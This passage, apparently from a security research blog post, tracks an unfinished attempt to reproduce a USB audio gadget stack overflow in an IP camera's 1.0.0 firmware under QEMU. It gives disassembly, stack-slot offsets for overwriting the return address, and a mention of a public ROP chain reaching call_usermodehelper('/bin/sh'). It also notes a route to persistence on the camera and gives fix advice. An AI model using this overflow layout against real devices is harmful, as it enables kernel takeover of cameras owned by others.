 &lt;span class="mi"&gt;816&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f8d3&lt;/span&gt; &lt;span class="mi"&gt;3144&lt;/span&gt;   &lt;span class="k"&gt;ldr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;   &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#324]  @ 0x144&lt;/span&gt;
 &lt;span class="mi"&gt;81a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f7ff&lt;/span&gt; &lt;span class="n"&gt;fffe&lt;/span&gt;   &lt;span class="k"&gt;bl&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It loads a pointer from offset 964 of &lt;code&gt;snd_card&lt;/code&gt;, then loads again from offset 324 of that pointer. Measured under the ARM EABI, mainline 4.9.84's &lt;code&gt;struct snd_card&lt;/code&gt; is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sizeof(struct snd_card) = 1536
offsetof(private_data) = 392
offsetof(devices) = 400
offsetof(ctl_dev) = 408
offsetof(card_dev) = 1008
offsetof(proc_root) = 956
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;964 falls between &lt;code&gt;proc_root&lt;/code&gt; (956) and &lt;code&gt;card_dev&lt;/code&gt; (1008). It is not the field the vendor code meant to read. In front of &lt;code&gt;private_data&lt;/code&gt; are &lt;code&gt;number&lt;/code&gt;, seven character arrays, and &lt;code&gt;module&lt;/code&gt;, which adds up to 392. No config switch moves that field to 964. The vendor struct is 572 bytes larger. The struct itself is different.&lt;/p&gt;

&lt;p&gt;To see whether the rest of bind could still run, the entry of &lt;code&gt;g_audio_setup&lt;/code&gt; was changed to return 0 immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="mi"&gt;00000698&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;g_audio_setup&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:&lt;/span&gt;
 &lt;span class="mi"&gt;698&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;2000&lt;/span&gt;        &lt;span class="n"&gt;movs&lt;/span&gt;    &lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0&lt;/span&gt;
 &lt;span class="mi"&gt;69a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;4770&lt;/span&gt;        &lt;span class="n"&gt;bx&lt;/span&gt;  &lt;span class="n"&gt;lr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;bind&lt;/code&gt; got through, and the host started enumerating:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== assembling the UAC1 gadget ===
binding dummy_udc.0
bind rc=0
usb 1-1: new high-speed USB device number 2 using dummy_hcd
usb 1-1: device descriptor read/64, error -32
usb 1-1: device descriptor read/64, error -32
usb 1-1: new high-speed USB device number 3 using dummy_hcd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;error -32&lt;/code&gt; is EPIPE. After a few retries the log says &lt;code&gt;unable to enumerate USB device&lt;/code&gt;. The descriptor never came back.&lt;/p&gt;

&lt;p&gt;Inside &lt;code&gt;f_audio_bind&lt;/code&gt;, &lt;code&gt;usb_assign_descriptors&lt;/code&gt; returns 0, but &lt;code&gt;audio-&amp;gt;card&lt;/code&gt; is what &lt;code&gt;g_audio_setup&lt;/code&gt; fills in. The store is at &lt;code&gt;0x6c4&lt;/code&gt;, writing &lt;code&gt;[r6,#128]&lt;/code&gt;. Later, while &lt;code&gt;f_audio_setup&lt;/code&gt; handles a control request, it has to take &lt;code&gt;req&lt;/code&gt; from there and queue it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6833&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]&lt;/span&gt;
 &lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;6998&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#24]&lt;/span&gt;
 &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;f7ff&lt;/span&gt; &lt;span class="n"&gt;fffe&lt;/span&gt;   &lt;span class="k"&gt;bl&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;usb_ep_queue&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;audio-&amp;gt;card&lt;/code&gt; is NULL, &lt;code&gt;usb_ep_queue&lt;/code&gt; fails, and enumeration never obtains the descriptor.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;usb_f_uac1.ko&lt;/code&gt; cannot be used without &lt;code&gt;u_audio.ko&lt;/code&gt;. Leaving it unloaded misses these 7 symbols:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;usb_f_uac1: Unknown symbol u_audio_start_playback (err 0)
usb_f_uac1: Unknown symbol u_audio_stop_capture (err 0)
usb_f_uac1: Unknown symbol u_audio_stop_playback (err 0)
usb_f_uac1: Unknown symbol g_audio_setup (err 0)
usb_f_uac1: Unknown symbol u_audio_start_capture (err 0)
usb_f_uac1: Unknown symbol g_audio_cleanup (err 0)
usb_f_uac1: Unknown symbol g_audio_notify (err 0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;g_audio_setup&lt;/code&gt; cannot be skipped either. Reaching &lt;code&gt;f_audio_complete&lt;/code&gt; requires &lt;code&gt;audio-&amp;gt;card&lt;/code&gt; to exist. Either mainline's &lt;code&gt;struct snd_card&lt;/code&gt; has to become the vendor's (what those extra 572 bytes contain is still unknown), or a UAC1 function has to be written in place of the shipping module. The second option is no longer the shipping bytes. This is where the attempt stopped.&lt;/p&gt;

&lt;p&gt;To check that nothing else was the cause, these were compared:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Suspect&lt;/th&gt;
&lt;th&gt;How it was checked&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The loader rejects Thumb relocations&lt;/td&gt;
&lt;td&gt;Watch for &lt;code&gt;unknown relocation: 10&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;gone once the veneer is in place&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vermagic does not match&lt;/td&gt;
&lt;td&gt;Compare &lt;code&gt;modinfo&lt;/code&gt; character by character&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;thumb2&lt;/code&gt; removed; both sides match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;struct module&lt;/code&gt; size&lt;/td&gt;
&lt;td&gt;Length of &lt;code&gt;.gnu.linkonce.this_module&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x200&lt;/code&gt; on both sides&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not enough exported symbols&lt;/td&gt;
&lt;td&gt;Check the 103 undefined symbols&lt;/td&gt;
&lt;td&gt;the kernel and the modules from the same batch resolve&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoints were not set up&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;usb_ep_autoconfig_ss&lt;/code&gt; inside &lt;code&gt;f_audio_bind&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;this stretch does not touch ALSA, and it can return&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The gadget did not bind&lt;/td&gt;
&lt;td&gt;Return value of &lt;code&gt;bind&lt;/code&gt;, and the UDC state&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bind rc=0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descriptor allocation failed&lt;/td&gt;
&lt;td&gt;Return value of &lt;code&gt;usb_assign_descriptors&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;returns 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;What is left is that &lt;code&gt;audio-&amp;gt;card&lt;/code&gt; was never initialized.&lt;/p&gt;

&lt;h1&gt;
  
  
  How the exploit chain would be laid out
&lt;/h1&gt;

&lt;p&gt;The blocker above is still there, so this chain was never executed on a running kernel. The slots come from the length scan above: length 8 fills &lt;code&gt;r4&lt;/code&gt;, 12 fills &lt;code&gt;r5&lt;/code&gt;, 16 fills &lt;code&gt;r6&lt;/code&gt;, and from 20 the return address is overwritten. Relative to the start of &lt;code&gt;memcpy&lt;/code&gt;, those four slots are +4, +8, +12, and +16. An earlier pass had lined &lt;code&gt;r4&lt;/code&gt; up at +8. That does not match this scan. The scan is the one that stands.&lt;/p&gt;

&lt;p&gt;After &lt;code&gt;push {r0, r1, r4, r5, r6, lr}&lt;/code&gt;, &lt;code&gt;sp&lt;/code&gt; points at the saved &lt;code&gt;r0&lt;/code&gt;. The local &lt;code&gt;u32 data&lt;/code&gt; is at &lt;code&gt;sp+4&lt;/code&gt;, and that is where &lt;code&gt;memcpy&lt;/code&gt; starts. Bytes past +20 belong to the caller's stack. &lt;code&gt;memcpy&lt;/code&gt; does not cap the length, so the write can continue.&lt;/p&gt;

&lt;p&gt;The slice experiment already shows the saved return address can be overwritten. A public write-up reports a ROP chain that calls &lt;code&gt;call_usermodehelper&lt;/code&gt; and reboots the guest. The addresses in that chain belong to the factory kernel used there. This attempt did not resolve addresses on a running kernel, and it did not replay the chain. Addresses taken from the self-built kernel (gcc 11.5.0) are not factory build &lt;code&gt;#445&lt;/code&gt;. Symbol locations in the factory image are different. The decompressed factory kernel is 3190784 bytes and does not boot under QEMU: there is no Infinity6E machine model. Do not treat addresses from this kernel as addresses on the product.&lt;/p&gt;

&lt;h2&gt;
  
  
  Changing the environment, or moving to hardware
&lt;/h2&gt;

&lt;p&gt;The camera I have is a release build, with no serial port, so QEMU is the only option. A few conditions are hard requirements. If one of them fails, stop before doing the rest:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;th&gt;How to tell&lt;/th&gt;
&lt;th&gt;This time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User mode runs&lt;/td&gt;
&lt;td&gt;There is init output after &lt;code&gt;Freeing unused kernel memory&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;the ARM kernel can&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User mode runs on a Thumb-2 kernel&lt;/td&gt;
&lt;td&gt;Same as above, and the kernel was built with &lt;code&gt;CONFIG_THUMB2_KERNEL&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;not under QEMU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A UDC is present&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/sys/class/udc/&lt;/code&gt; is not empty&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;dummy_udc.0&lt;/code&gt; is there&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vermagic matches&lt;/td&gt;
&lt;td&gt;Compare &lt;code&gt;modinfo&lt;/code&gt; character by character&lt;/td&gt;
&lt;td&gt;matches after &lt;code&gt;thumb2&lt;/code&gt; is removed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;R_ARM_THM_CALL&lt;/code&gt; resolves&lt;/td&gt;
&lt;td&gt;The load does not report &lt;code&gt;unknown relocation: 10&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;works after the veneer is added&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Logs can be recovered&lt;/td&gt;
&lt;td&gt;Force one panic and see whether the log is still there&lt;/td&gt;
&lt;td&gt;the emulator can; real hardware has not been tried&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Combinations already run:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Environment&lt;/th&gt;
&lt;th&gt;Thumb-2 user mode&lt;/th&gt;
&lt;th&gt;What happened&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;QEMU 10.2.1, &lt;code&gt;cortex-a15&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;the state is ARM at &lt;code&gt;ret_fast_syscall&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QEMU 10.0.0, &lt;code&gt;cortex-a15&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;the same, and it does not depend on the version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QEMU 10.0.0, &lt;code&gt;cortex-a7&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;the same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QEMU 10.0.0, &lt;code&gt;max&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;the same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QEMU 10.0.0, ARM kernel plus a veneer&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;user mode is normal, and the modules load&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The real device has no serial port, but it has a writable JFFS2 &lt;code&gt;customer&lt;/code&gt; partition. Three ways to recover a log are worth trying.&lt;/p&gt;

&lt;p&gt;Write &lt;code&gt;dmesg&lt;/code&gt; into the partition, reboot, and read it back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; 8 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/printk
dmesg &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /customer/dmesg.txt
sync
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After an oops the process may already be gone, and that command may not get to run.&lt;/p&gt;

&lt;p&gt;Or turn &lt;code&gt;pstore&lt;/code&gt; on in the kernel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="na"&gt;CONFIG_PSTORE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;span class="na"&gt;CONFIG_PSTORE_RAM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The device tree also needs memory reserved for &lt;code&gt;ramoops&lt;/code&gt;. After boot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ls /sys/fs/pstore/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Files there mean this path works. The factory kernel is fixed as shipped. Turning this on means changing the kernel.&lt;/p&gt;

&lt;p&gt;An oops can also be kept from taking the machine down immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; 0 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/panic_on_oops
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The record stays in the kernel log. Read it from &lt;code&gt;/dev/kmsg&lt;/code&gt; and write it to &lt;code&gt;customer&lt;/code&gt;. If the stack has already been written past its frame, whether the kernel can keep running depends on how far that write went.&lt;/p&gt;

&lt;p&gt;The steadier order is: on the emulator, get user mode, the UDC, vermagic, and the Thumb relocation working before moving to hardware. On the device, set &lt;code&gt;panic_on_oops&lt;/code&gt; to 0, and right after the trigger read &lt;code&gt;/dev/kmsg&lt;/code&gt; into &lt;code&gt;customer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When the emulator changes, check Thumb-2 user mode first. A short loop shows whether a CPSR write clears the T bit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;    &lt;span class="k"&gt;mov&lt;/span&gt;  &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#1000&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;cpsid&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="n"&gt;cpsie&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
    &lt;span class="n"&gt;subs&lt;/span&gt; &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#1&lt;/span&gt;
    &lt;span class="k"&gt;bne&lt;/span&gt;  &lt;span class="mi"&gt;1b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If those 1000 iterations finish, then it is worth talking about loading modules.&lt;/p&gt;

&lt;h2&gt;
  
  
  The factory kernel
&lt;/h2&gt;

&lt;p&gt;The 1.0.0 kernel sits at &lt;code&gt;0x50000&lt;/code&gt; in the firmware. It is SigmaStar MVX4 compression. In the uImage header, both &lt;code&gt;load&lt;/code&gt; and &lt;code&gt;ep&lt;/code&gt; are &lt;code&gt;0x20008000&lt;/code&gt;. Decompressed, it is 3190784 bytes. The version string is &lt;code&gt;Linux version 4.9.84 ... #445 SMP PREEMPT&lt;/code&gt;. The device tree is not in its own partition. It sits at offset &lt;code&gt;0x2e4d20&lt;/code&gt; in the decompressed image, preceded by the marker &lt;code&gt;#MS_DTB#&lt;/code&gt;, and it is 39226 bytes long. The model is &lt;code&gt;INFINITY6E SSC012B-S01A&lt;/code&gt;. The CPU is a Cortex-A7. Memory starts at &lt;code&gt;0x20000000&lt;/code&gt; and is 96MB. The UART is &lt;code&gt;sstar,uart&lt;/code&gt; (&lt;code&gt;0x1F221000&lt;/code&gt;). The UDC is &lt;code&gt;sstar,infinity-udc&lt;/code&gt;. There is also an &lt;code&gt;snps,dwc3&lt;/code&gt;, with registers at &lt;code&gt;0x1f344200&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This kernel was not built with &lt;code&gt;dummy_hcd&lt;/code&gt;, and it has no generic USB host-controller entry. The console and the UDC are both private vendor drivers. QEMU has no register model for them. The DWC3 model it ships is the host-side one. A public write-up mentioned an Infinity6E machine model. We do not have that implementation. Without a register description, booting the factory image in QEMU means a long reverse-engineering pass against the silicon. That was not done this time.&lt;/p&gt;

&lt;p&gt;The kernel was decompressed with SigmaStar's &lt;code&gt;mz&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mz d kernel.mvx vmlinux
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Impact and the fix
&lt;/h2&gt;

&lt;p&gt;A host that can send raw USB control transfers can affect the kernel stack inside a 1.0.0 camera. A computer the camera is plugged into, once that computer is already under someone else's control, meets the condition. One connection, and no login. After the return address is overwritten, a public write-up used a 316-byte ROP to call &lt;code&gt;call_usermodehelper("/bin/sh", ...)&lt;/code&gt;, with the argument &lt;code&gt;/sbin/reboot&lt;/code&gt;. The call returned 0, and the guest then rebooted. The addresses in that chain belong to the factory kernel used in that experiment. We did not resolve addresses on a running kernel this time, so the chain was not replayed. The earlier experiment already shows that an attacker can write the return address.&lt;/p&gt;

&lt;p&gt;Persistence comes from the same material: write a file into the JFFS2 &lt;code&gt;customer&lt;/code&gt; partition, and it is still there after a reboot. We did not do that step on its own.&lt;/p&gt;

&lt;p&gt;1.0.1 already stops this copy by checking the control's length. The simplest fix is to upgrade the device firmware to the latest version. A canary on the module turns a direct overwrite of &lt;code&gt;pc&lt;/code&gt; into a crash that can be seen, but the host can still write past the buffer. The length check still has to be there.&lt;/p&gt;

&lt;h2&gt;
  
  
  How far this got
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Basis&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The shipping instructions write out of bounds&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;from length 5 they start touching saved registers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The saved &lt;code&gt;pc&lt;/code&gt; can be changed&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;from length 20 execution branches to &lt;code&gt;0x4d4d4d4c&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32 bytes of &lt;code&gt;0x41&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;branches to &lt;code&gt;0x41414140&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1.0.1 blocks it&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;the same payloads stall, and the stack does not move&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The shipping modules enter a real kernel&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;insmod&lt;/code&gt; of all three modules returns 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;bind&lt;/code&gt; is reached&lt;/td&gt;
&lt;td&gt;done&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bind rc=0&lt;/code&gt;, and the host starts enumerating&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A malicious &lt;code&gt;SET_CUR&lt;/code&gt; reaches &lt;code&gt;f_audio_complete&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;not reached&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;snd_card&lt;/code&gt; differs by 572 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A kernel oops stops in this function&lt;/td&gt;
&lt;td&gt;not reached&lt;/td&gt;
&lt;td&gt;same reason; enumeration breaks while the descriptor is being read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROP executes on a running kernel&lt;/td&gt;
&lt;td&gt;not reached&lt;/td&gt;
&lt;td&gt;the row above has to pass first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Addresses on the factory image&lt;/td&gt;
&lt;td&gt;not reached&lt;/td&gt;
&lt;td&gt;there is no Infinity6E machine model&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;What this run added is the middle two rows. The modules loaded inside a real kernel for the first time, and execution reached &lt;code&gt;f_audio_bind&lt;/code&gt;. vermagic, relocations, and symbols all line up. It stopped because the vendor &lt;code&gt;struct snd_card&lt;/code&gt; is 572 bytes larger than mainline.&lt;/p&gt;

&lt;p&gt;Two ways lead further. One is to reconstruct those 572 bytes so mainline's &lt;code&gt;snd_card&lt;/code&gt; matches the shipping module. The other is to add an Infinity6E machine model and run the factory kernel directly. In that case the ALSA layout would already match.&lt;/p&gt;

&lt;p&gt;On the kernel side, these places were changed so the experiment could continue. None of them sits on the copy path inside &lt;code&gt;f_audio_complete&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Place&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Module loader&lt;/td&gt;
&lt;td&gt;Handle &lt;code&gt;R_ARM_THM_CALL&lt;/code&gt;, and add a veneer&lt;/td&gt;
&lt;td&gt;so an ARM kernel can load Thumb-2 modules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mode stacks in &lt;code&gt;cpu_init&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Replaced with a short function in ARM state&lt;/td&gt;
&lt;td&gt;so the Thumb-2 kernel can boot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timer in &lt;code&gt;dummy_hcd&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mod_timer&lt;/code&gt; interval stretched to 5–10 jiffies&lt;/td&gt;
&lt;td&gt;so interrupts do not saturate the CPU under slow emulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Device-tree compiler&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;yylloc&lt;/code&gt; changed to &lt;code&gt;extern&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;so a new toolchain can build 4.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A few assembly section directives&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;#alloc&lt;/code&gt; changed to the ELF &lt;code&gt;"a"&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;same as above&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Changes on the modules:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Module&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;th&gt;Bytes&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;usb_f_uac1.ko&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;thumb2&lt;/code&gt; removed from vermagic&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;only that string inside &lt;code&gt;.modinfo&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
